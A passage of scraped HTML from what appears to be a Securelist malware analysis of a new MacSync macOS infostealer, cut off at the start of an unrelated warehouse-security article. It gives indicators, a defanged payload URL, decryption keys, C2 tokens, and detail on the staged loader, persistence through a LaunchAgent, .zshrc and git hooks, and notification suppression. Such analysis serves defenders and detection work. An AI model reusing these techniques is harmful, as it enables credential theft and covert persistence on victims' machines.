https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205748/macsync-new-version4-740x226.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205748/macsync-new-version4-919x280.png 919w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205748/macsync-new-version4-800x244.png 800w" width="1355" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a></p> <p>The resulting URL is a link to the next-stage downloader script. In some cases, this link pointed directly to a file hosted on an attacker-controlled server; however, in at least one sample, the link pointed to a public iCloud calendar:</p><!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae4327ee0814583069218" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> hxxp://caldav.icloud[.]com/published/2/MTk1NDMwMDMzNTUxOTU0M1aHCZ-nMxiyGzBTzPiodOf44DtKJ6PpjftAG28_ui2NCYMpL_vu4pF4ddsJ8ysg0QI7pR0VEIEbZYdilVZRw08</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4327ee0814583069218-1">1</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4327ee0814583069218-1">hxxp://caldav.icloud[.]com/published/2/MTk1NDMwMDMzNTUxOTU0M1aHCZ-nMxiyGzBTzPiodOf44DtKJ6PpjftAG28_ui2NCYMpL_vu4pF4ddsJ8ysg0QI7pR0VEIEbZYdilVZRw08</div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0000 seconds] --> <p><div class="wp-caption aligncenter" id="attachment_121388-2" style="width: 814px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205826/macsync-new-version5.png"><img alt="Contents of the downloaded calendar" aria-describedby="caption-attachment-121388-2" class="size-full wp-image-121388" decoding="async" height="817" sizes="auto, (max-width: 804px) 100vw, 804px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205826/macsync-new-version5.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205826/macsync-new-version5.png 804w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205826/macsync-new-version5-295x300.png 295w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205826/macsync-new-version5-768x780.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205826/macsync-new-version5-344x350.png 344w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205826/macsync-new-version5-740x752.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205826/macsync-new-version5-276x280.png 276w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205826/macsync-new-version5-800x813.png 800w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205826/macsync-new-version5-50x50.png 50w" width="804" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121388-2">Contents of the downloaded calendar</p></div></p> <p>After retrieving the calendar file from the server, the downloader creates an anonymous pipe, launches the interpreter to read commands from standard input (<code>zsh -s</code>), sets the pipe as standard input, and redirects the contents of the calendar into it line by line. Since a calendar is normally not a command, the interpreter treats the lines as invalid commands until it reaches the malicious payload after the <code>DESCRIPTION</code>: line. These commands ultimately download a .TAR.GZ archive from iCloud that contains an .APP bundle. The downloader removes the quarantine attribute from it, signs it with an ad-hoc signature, and executes it.</p> <p>We don’t know the contents of the scripts distributed from the attacker’s server, but they are very likely the same script found in the calendar event description.</p> <p>The downloaded application is a dropper. The malicious payload it extracts is a zlib-compressed executable encrypted with AES in CBC mode, using the following key and initialization vector:</p><!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae4327ee081e511308967" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> cb09ff86cabde4f8cee2d3cdec370c623bfa6c2b72ae9750fc9a7b299c65d7ca 3a1af2b397c6958e6c3ba3c75912d60e</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4327ee081e511308967-1">1</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4327ee081e511308967-2">2</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4327ee081e511308967-1">cb09ff86cabde4f8cee2d3cdec370c623bfa6c2b72ae9750fc9a7b299c65d7ca</div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4327ee081e511308967-2">3a1af2b397c6958e6c3ba3c75912d60e</div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0000 seconds] --> <p>The dropper decrypts and unpacks it, then places it at /tmp/.sys-&lt;16-digit random value&gt;.</p> <p>Inside is another dropper, but unlike the previous stages, this one includes anti-debugging protection. In particular, it checks whether it’s running on a virtual machine by making <code>sysctl</code> queries with the <code>kern.hv_vmm_present</code> and <code>machdep.cpu.brand_string</code> parameters. It also sets the <code>PT_DENY_ATTACH</code> flag with <code>ptrace</code> to prevent a debugger from attaching to the process. The payload is a shell script encrypted with AES in CBC mode, using the following key and initialization vector:</p><!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae4327ee0822269871489" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> 3744f975113dfc552df982dcae699f9154a448e05a743bdfb641a463352bc13a 8d371f8a7a6dcc2655544ae13cbca03d</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4327ee0822269871489-1">1</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4327ee0822269871489-2">2</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4327ee0822269871489-1">3744f975113dfc552df982dcae699f9154a448e05a743bdfb641a463352bc13a</div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4327ee0822269871489-2">8d371f8a7a6dcc2655544ae13cbca03d</div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0000 seconds] --> <p><div class="wp-caption aligncenter" id="attachment_121389-2" style="width: 1728px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205929/macsync-new-version6.png"><img alt="Payload of the second dropper" aria-describedby="caption-attachment-121389-2" class="size-full wp-image-121389" decoding="async" height="142" sizes="auto, (max-width: 1718px) 100vw, 1718px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205929/macsync-new-version6.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205929/macsync-new-version6.png 1718w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205929/macsync-new-version6-300x25.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205929/macsync-new-version6-1024x85.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205929/macsync-new-version6-768x63.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205929/macsync-new-version6-1536x127.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205929/macsync-new-version6-740x61.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205929/macsync-new-version6-1600x132.png 1600w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205929/macsync-new-version6-800x66.png 800w" width="1718" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121389-2">Payload of the second dropper</p></div></p> <p>As shown in the screenshot above, the second dropper delivers a downloader script that retrieves the next-stage payload from the command-and-control server, decrypts it with AES in CBC mode using the following key and initialization vector, and then executes it in memory:</p><!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae4327ee0824423353238" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> ff664112d3215c5d184689fc836e0dc6c1a47e42c34e70b2c3d356864bc4cb4c 09425f72de8bba18893dcd6f04115891</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4327ee0824423353238-1">1</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4327ee0824423353238-2">2</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4327ee0824423353238-1">ff664112d3215c5d184689fc836e0dc6c1a47e42c34e70b2c3d356864bc4cb4c</div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4327ee0824423353238-2">09425f72de8bba18893dcd6f04115891</div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0000 seconds] --> <h3 id="a-couple-more-scripts">A couple more scripts</h3> <p>Inside the retrieved script, we can immediately spot several familiar indicators associated with the MacSync malware family:</p> <ul> <li>The main function in the script is named <code>daemon_function</code>.</li> <li>The stolen data is uploaded to the command-and-control server via PUT requests. The data in the requests is sent in 90-megabyte chunks. In earlier versions, the chunk sizes differed.</li> <li>One way to establish persistence on a system it uses is to inject a malicious command into the .ZSHRC, the configuration file for the ZSH interpreter, which contains commands that run each time the interpreter starts.</li> <li>The URL path where the backdoor executable is stored on the command-and-control server begins with the /loader/ directory.</li> </ul> <p><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210007/macsync-new-version7.png"><img alt="" class="aligncenter size-full wp-image-121390" decoding="async" height="2013" sizes="auto, (max-width: 1224px) 100vw, 1224px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210007/macsync-new-version7.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210007/macsync-new-version7.png 1224w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210007/macsync-new-version7-182x300.png 182w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210007/macsync-new-version7-623x1024.png 623w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210007/macsync-new-version7-768x1263.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210007/macsync-new-version7-934x1536.png 934w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210007/macsync-new-version7-213x350.png 213w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210007/macsync-new-version7-608x1000.png 608w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210007/macsync-new-version7-170x280.png 170w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210007/macsync-new-version7-547x900.png 547w" width="1224" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a></p> <p>The script performs the following tasks:</p> <ul> <li>Downloading and decrypting additional malicious modules: an infostealer, a backdoor, and a special utility for generating encryption keys and decrypting downloaded executable files</li> <li>Gaining persistence on the system</li> <li>Uploading data received from the infostealer module to the command-and-control server</li> </ul> <p>One detail stands out: instead of the usual encryption algorithms (XOR, AES, and so on), the attackers took a different approach to delivering malicious modules at this stage. It involves a selfmade utility called pkgunpack that implements two commands: <code>genkey</code> and <code>decrypt</code>. The malicious payload is decrypted as follows:</p> <ol> <li>The malware generates a public and private encryption key pair using <code>genkey</code> command from pkgunpack, whose generation function relies on an open implementation of the elliptic-curve Diffie-Hellman protocol on Curve25519: <a href="https://github.com/agl/curve25519-donna" rel="noopener" target="_blank">curve25519_donna</a>.</li> <li>The public key is encoded in base64 and sent to the command-and-control server together with a one-time code generated by the command <code>$(date +%s)-${RANDOM}-$$</code>.</li> <li>The server responds with the following JSON:<br/> <!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae4327ee0826362766217" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> { "ok": true, "dek_wrap_b64": &lt;base64_encoded_encrypted_key&gt; , "build_pub_b64": "pFSxn/Uwg9bS45aVKCzA+8exSMfDHXpbpHC/f7G472w=", "crypto": "v2.5" }</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4327ee0826362766217-1">1</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4327ee0826362766217-2">2</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4327ee0826362766217-3">3</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4327ee0826362766217-4">4</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4327ee0826362766217-5">5</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4327ee0826362766217-6">6</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4327ee0826362766217-1"><span class="crayon-sy">{</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4327ee0826362766217-2"><span class="crayon-h">    </span><span class="crayon-s">"ok"</span><span class="crayon-o">:</span><span class="crayon-h"> </span><span class="crayon-t">true</span><span class="crayon-sy">,</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4327ee0826362766217-3"><span class="crayon-h">    </span><span class="crayon-s">"dek_wrap_b64"</span><span class="crayon-o">:</span><span class="crayon-h">  </span><span class="crayon-o">&lt;</span><span class="crayon-v">base64_encoded_encrypted_key</span><span class="crayon-o">&gt;</span><span class="crayon-h"> </span><span class="crayon-sy">,</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4327ee0826362766217-4"><span class="crayon-h">    </span><span class="crayon-s">"build_pub_b64"</span><span class="crayon-o">:</span><span class="crayon-h"> </span><span class="crayon-s">"pFSxn/Uwg9bS45aVKCzA+8exSMfDHXpbpHC/f7G472w="</span><span class="crayon-sy">,</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4327ee0826362766217-5"><span class="crayon-h">    </span><span class="crayon-s">"crypto"</span><span class="crayon-o">:</span><span class="crayon-h"> </span><span class="crayon-s">"v2.5"</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4327ee0826362766217-6"><span class="crayon-sy">}</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0001 seconds] --> <br/> Here, <code>build_pub_b64</code> is the server’s public key, which is also predefined in the script itself, and <code>dek_wrap_b64</code> is a base64-encoded string that contains the payload encryption key. This key is encrypted on the server side with a shared secret computed from the public key generated with pkgunpack on the victim’s device.</li> <li>Then <code>decrypt</code> command from pkgunpack utility decrypts the key: <ol type="a"> <li>A shared secret is computed from the server’s known public key and the private key for the current session, using the same ECDH Curve25519 key exchange scheme that was used to generate the keys.</li> <li>The resulting shared secret is concatenated with the string <code>sn-dek-wrap-v1</code>, and a SHA-256 hash is computed from the result.</li> <li>Next, the <code>dek_wrap_b64</code> block received from the server is decoded. It has the following structure: <ol type="i"> <li>The first 5 bytes: additional authenticated data (AAD)</li> <li>The next 12 bytes: the initialization vector (IV)</li> <li>The rest: the ciphertext</li> </ol> </li> <li>The ciphertext is decrypted with AES in GCM mode using the previously obtained key, IV, and AAD. <p><div class="wp-caption aligncenter" id="attachment_121391-2" style="width: 1331px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210048/macsync-new-version8.png"><img alt="Decoded dek_wrap_b64" aria-describedby="caption-attachment-121391-2" class="size-full wp-image-121391" decoding="async" height="220" sizes="auto, (max-width: 1321px) 100vw, 1321px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210048/macsync-new-version8.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210048/macsync-new-version8.png 1321w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210048/macsync-new-version8-300x50.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210048/macsync-new-version8-1024x171.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210048/macsync-new-version8-768x128.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210048/macsync-new-version8-740x123.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210048/macsync-new-version8-800x133.png 800w" width="1321" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121391-2">Decoded dek_wrap_b64</p></div></p></li> </ol> </li> <li>The result is the key for decrypting the downloaded malicious payload. The payload, in turn, also contains an AAD and an IV in its header and is encrypted with AES GCM. The utility decrypts it and terminates.</li> </ol> <p>Note that at each individual stage, the utility zeros out buffers after using encryption keys and data, apparently to impede forensic data collection and dynamic analysis of samples.</p> <p>As mentioned earlier, at this stage, the script downloads only two modules: an infostealer and a backdoor. Once decrypted, both are .TAR.GZ archives; their contents are extracted, stripped of all extended attributes (such as <code>com.apple.quarantine</code>), and signed with an ad-hoc signature. The infostealer module runs first: it collects the data it needs, places it in a temporary folder, and compresses it into a .TAR.GZ archive, which the script then sends to the attackers’ server. Next, before launching the backdoor, the script sets up persistence for it and creates a backup copy. The backup copy, along with the other files it needs to operate, is placed in $HOME/Library/Application Support/System. This directory doesn’t exist in macOS by default; the script creates it. The backdoor disguises itself as the Finder application and achieves persistence in the system through the following methods:</p> <ul> <li>A LaunchAgent named com.apple.finder.agent</li> <li>Injection of a command that runs the .repair-run script when the ZSH interpreter starts from the .ZSHRC</li> <li>Injection of a similar command, which also runs the .repair-run script, into the global GIT <code>pre-commit</code> and <code>post-checkout</code> hooks</li> </ul> <p>The .repair-run script checks whether the backdoor files exist, restores them from a backup if they are missing, and re-creates and reloads the LaunchAgent. At the same time, it kills the <code>BTMNotificationAgent</code>, <code>NotificationCenter</code>, and <code>BackgroundTaskManagementAgent</code> system processes to prevent the system from notifying the user about the new LaunchAgent.</p> <p>One last thing worth noting about the script at this stage is its use of a custom HTTP header, <code>X-Upload-Token</code>, without which the C2 server responds to requests with errors. During our research, we observed the use of the following tokens: <code>b8b4b88205a8f594b95a841bc37342898f34cad8a5a9e4a22ce69a31a1208650</code> and <code>ff3ab9ef841630364818396f62e696b72aed162cf0b895b6643ef25dad79b51d</code>. The backdoor later uses these same tokens to communicate with the C2 server.</p> <h3 id="infostealer">Infostealer</h3> <p>The infostealer module ships as an .APP application, with its main executable written in Swift. As with previous AppleScript-based versions, the malware first asks the user for the administrator password. It adapts the window it displays to match the application it is impersonating. After the password is entered, the user sees a window that imitates a system notification about a corrupted application, offering to move it to the trash.</p> <div class="wp-caption aligncenter" id="attachment_121392-2" style="width: 1282px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210135/macsync-new-version9.png"><img alt="Fake stealer pop-up windows" aria-describedby="caption-attachment-121392-2" class="size-full wp-image-121392" decoding="async" height="774" sizes="auto, (max-width: 1272px) 100vw, 1272px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210135/macsync-new-version9.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210135/macsync-new-version9.png 1272w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210135/macsync-new-version9-300x183.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210135/macsync-new-version9-1024x623.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210135/macsync-new-version9-768x467.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210135/macsync-new-version9-330x200.png 330w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210135/macsync-new-version9-575x350.png 575w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210135/macsync-new-version9-740x450.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210135/macsync-new-version9-460x280.png 460w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210135/macsync-new-version9-800x487.png 800w" width="1272" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121392-2">Fake stealer pop-up windows</p></div> <p>Interestingly, instead of the method most macOS malware families use to verify a password, the dscl utility, the attackers used the Pluggable Authentication Modules (PAM) API. This is a fairly new technique for macOS malware, first observed in the wild in July 2026 in the <a href="https://www.jamf.com/blog/pamstealer-macos-infostealer-applescript-rust/" rel="noopener" target="_blank">Pam Stealer</a> family. It apparently caught the attention of malware authors, and we may see it used more often going forward.</p> <div class="wp-caption aligncenter" id="attachment_121393-2" style="width: 646px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210207/macsync-new-version10.png"><img alt="Password verification with PAM" aria-describedby="caption-attachment-121393-2" class="size-full wp-image-121393" decoding="async" height="486" sizes="auto, (max-width: 636px) 100vw, 636px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210207/macsync-new-version10.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210207/macsync-new-version10.png 636w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210207/macsync-new-version10-300x229.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210207/macsync-new-version10-458x350.png 458w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210207/macsync-new-version10-366x280.png 366w" width="636" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121393-2">Password verification with PAM</p></div> <p>Many strings in the stealer (file names, directory names, team IDs, and so on) are XOR-encrypted and stored in static arrays. The encryption keys differ between samples and are generated based on the ciphertext length.</p> </div></div></div></div></div></div> https://securelist.com/macsync-new-version/121383/ cyber Thu, 24 Sep 2026 10:00:21 +0000 The journey of a paper unicorn: adventures inside a modern warehouse https://securelist.com/paper-unicorn-warehouse-security/121537/ <div class="c-article__main"> <div class="o-row c-article__container"> <div class="o-col c-article__content js-article-body"> <div class="js-reading-wrapper"> <figure class="c-article__figure u-hidden u-block@md"> <img alt="" class="attachment-securelist-2020-thumbnail-large size-securelist-2020-thumbnail-large wp-post-image" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/19144935/sas-paper-unicorn-warehouse-featured-image-1200x600.jpg" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/19144935/sas-paper-unicorn-warehouse-featured-image-1200x600.jpg 1200w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/19144935/sas-paper-unicorn-warehouse-featured-image-300x150.jpg 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/19144935/sas-paper-unicorn-warehouse-featured-image-1024x512.jpg 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/19144935/sas-paper-unicorn-warehouse-featured-image-768x384.jpg 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/19144935/sas-paper-unicorn-warehouse-featured-image-1536x768.jpg 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/19144935/sas-paper-unicorn-warehouse-featured-image-2048x1024.jpg 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/19144935/sas-paper-unicorn-warehouse-featured-image-700x350.jpg 700w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/19144935/sas-paper-unicorn-warehouse-featured-image-740x370.jpg 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/19144935/sas-paper-unicorn-warehouse-featured-image-560x280.jpg 560w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/19144935/sas-paper-unicorn-warehouse-featured-image-800x400.jpg 800w" decoding="async" height="600" sizes="auto, (max-width: 1200px) 100vw, 1200px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/19144935/sas-paper-unicorn-warehouse-featured-image-1200x600.jpg" srcset="" width="1200" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </figure> <div class="c-article__authors u-hidden u-block@md"> <p class="c-block__title">Authors</p> <ul class="c-list-authors"> <li> <a href="https://securelist.com/author/sergeysidorov/"> <span>Sergey Sidorov</span></a> </li> <li> <a href="https://securelist.com/author/haydarkabibo/"> <span>Haidar Kabibo</span></a> </li> <li> <a href="https://securelist.com/author/victorzvarykin/"> <span>Victor Zvarykin</span></a> </li> <li> <a href="https://securelist.com/author/securityservices/"> <span>Kaspersky Security Services</span></a> </li> </ul> </div> <div class="js-reading-content"> <div class="c-wysiwyg"> <h2 id="introduction">Introduction</h2> <p>Imagine you’ve ordered a small paper unicorn from an online marketplace. You clicked “Buy”, received a cheerful notification, and expect a courier to bring the box tomorrow. If the unicorn is delayed by a day, it will be annoying but not catastrophic: an 